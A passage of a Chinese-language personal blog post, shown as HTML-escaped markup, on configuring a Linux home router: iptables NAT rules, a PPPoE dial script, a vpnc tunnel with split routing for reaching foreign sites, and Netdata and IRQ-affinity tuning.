&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; route add default dev&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; $1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; via&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; $5&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# Base rules&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables_init&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# Create zones&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables_zone_create&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Wan&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables_zone_create&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Lan&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables_zone_member_add&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Wan&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; $1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables_zone_member_add&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Lan br0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ZoneLanInput&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ACCEPT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ZoneLanForward&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ACCEPT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; nat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ZoneWanPostrouting&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; MASQUERADE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# fix mss problems&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; mangle&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -X&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; mangle&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; FORWARD&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; tcp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; --tcp-flags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; SYN,RST SYN&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; TCPMSS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; --clamp-mss-to-pmtu&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再执行一次&lt;code&gt;poff&lt;&#x2F;code&gt;和&lt;code&gt;pon&lt;&#x2F;code&gt;。现在所有客户端应该可以正常上网了。如果不能上网，看看你的&lt;code&gt;eth0.200&lt;&#x2F;code&gt;有没有up。没有up也不要紧，先手动搞定他，一会再细处理。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ke-xue-shang-wang&quot;&gt;科学上网&lt;&#x2F;h2&gt;
&lt;p&gt;自古以来，我国勤劳而坚韧的劳动人民，就学会了如何科学的进行互联网傲游工作。我们作为后来人，自然也不能免俗。首先安装工具&lt;code&gt;vpnc&lt;&#x2F;code&gt;。之后直接去编辑&lt;code&gt;&#x2F;etc&#x2F;vpnc&#x2F;default.conf&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;IPSec ID warispeace&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;IPSec secret freedomisslavery&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Xauth username Ignoranceisstrength&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Xauth password bigbrotherlonglive&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后我们拨一下试试：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;vpnc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; --debug&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; --gateway&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; 1984.gov.cn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt; &amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -nv4L&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; www.google.com&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果内容正常，说明加速器工作也是正常的。那么我们就可以进行下面的工作了&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jin-yi-bu-ke-xue-shang-wang&quot;&gt;进一步科学上网&lt;&#x2F;h2&gt;
&lt;p&gt;建立一个&lt;code&gt;network_pppoe_boot.sh&lt;&#x2F;code&gt;，写入：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#!&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;SCRIPT_ROOT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&#x2F;root&#x2F;scripts&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;source&lt;&#x2F;span&gt;&lt;span&gt; $SCRIPT_ROOT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&#x2F;iptables_helper&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# Dial network&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Dialing...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; link set dev eth0.200 up&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;   #还记得之前说要先up吗？这里我们搞定了&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;poff&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; PPPOE_01-AC&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;pon&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; PPPOE_01-AC user&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;usernam&lt;&#x2F;span&gt;&lt;span&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; password&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;passwor&lt;&#x2F;span&gt;&lt;span&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# Wait until network being connected...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;until&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; neverssl.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &#x2F;dev&#x2F;null&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; 2&amp;gt;&amp;amp;1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;  sleep&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;done&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; neverssl.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &#x2F;dev&#x2F;null&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; 2&amp;gt;&amp;amp;1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; [[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt; $?&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; -ne&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt; ]]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;    echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt; ***&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;NETWORK BAD!&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;***&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;    exit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# generate our route table&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;table_number&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;451&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;table_source&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$SCRIPT_ROOT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&#x2F;chnip_list.txt&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;   # Where can I get it? visit ipip.net if u like!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;table_target&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;ppp0&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;                          # 有点丑陋，不过先这样吧&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# Flush old items first&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Route table flushing...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; route flush table&lt;&#x2F;span&gt;&lt;span&gt; $table_number&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Route table adding...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;while&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; read&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; table_item&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;  ip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; route add&lt;&#x2F;span&gt;&lt;span&gt; $table_item&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; dev&lt;&#x2F;span&gt;&lt;span&gt; $table_target&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; table&lt;&#x2F;span&gt;&lt;span&gt; $table_number&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;done&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; $table_source&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; route add 10.0.0.0&#x2F;8 dev&lt;&#x2F;span&gt;&lt;span&gt; $table_target&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; table&lt;&#x2F;span&gt;&lt;span&gt; $table_number&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; route add 172.16.0.0&#x2F;12 dev&lt;&#x2F;span&gt;&lt;span&gt; $table_target&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; table&lt;&#x2F;span&gt;&lt;span&gt; $table_number&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# and items didnot added will be fallback to main route table, which is what we want&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# Time to dial VPN at now&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Dialing VPN...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;vpnc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; --debug&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; --gateway&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; 1984.gov.cn&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables_zone_member_add&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Wan tun0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Modifying Route rule...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; rule add from all table&lt;&#x2F;span&gt;&lt;span&gt; $table_number&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Testing now...Should show a good result&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; school_internal.site&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -I&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Testing now...Should show a foreign ip&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ifconfig.co&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;IP列表的来源是多种多样的。我建议，在不影响正常使用的前提下，可以适当降低路由表的精度，从而减少硬件压力。&lt;&#x2F;p&gt;
&lt;p&gt;检查后执行脚本，稍等片刻，直到脚本执行结束，如果一切正常，你应该可以在任一台客户端上访问国内外所有站点，并保持正常的身份了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;dashboardda-jian&quot;&gt;Dashboard搭建&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;firehol&#x2F;netdata&quot;&gt;Netdata&lt;&#x2F;a&gt;是个好东西，安装也很方便，装好后可以按照官方Wiki中的优化指南做一些设置。&lt;&#x2F;p&gt;
&lt;p&gt;跑起来后，我们立刻就能发现，CPU0接收的中断有点多：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;garbage-router-2&#x2F;.&#x2F;Screenshot_20170426_145658.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;很容易就能发现，实际是eth0的中断占了大头。想想也难免，eth0同时承担者WAN和LAN的接口任务，负载大也很正常：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;garbage-router-2&#x2F;.&#x2F;Screenshot_20170426_145727.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;所以我们就手动做一下负载的分配：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &#x2F;proc&#x2F;irq&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;$(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;grep&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; eth0 &#x2F;proc&#x2F;interrupts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; cut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -d \:&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&#x2F;smp_affinity&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在再来看一下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;garbage-router-2&#x2F;.&#x2F;Screenshot_20170426_145812.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;garbage-router-2&#x2F;.&#x2F;Screenshot_20170426_145843.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;嗯，明显好了很多。&lt;&#x2F;p&gt;
&lt;p&gt;现在我们可以更新一下&lt;code&gt;rc.local&lt;&#x2F;code&gt;了：&lt;&#x2F;p&gt;
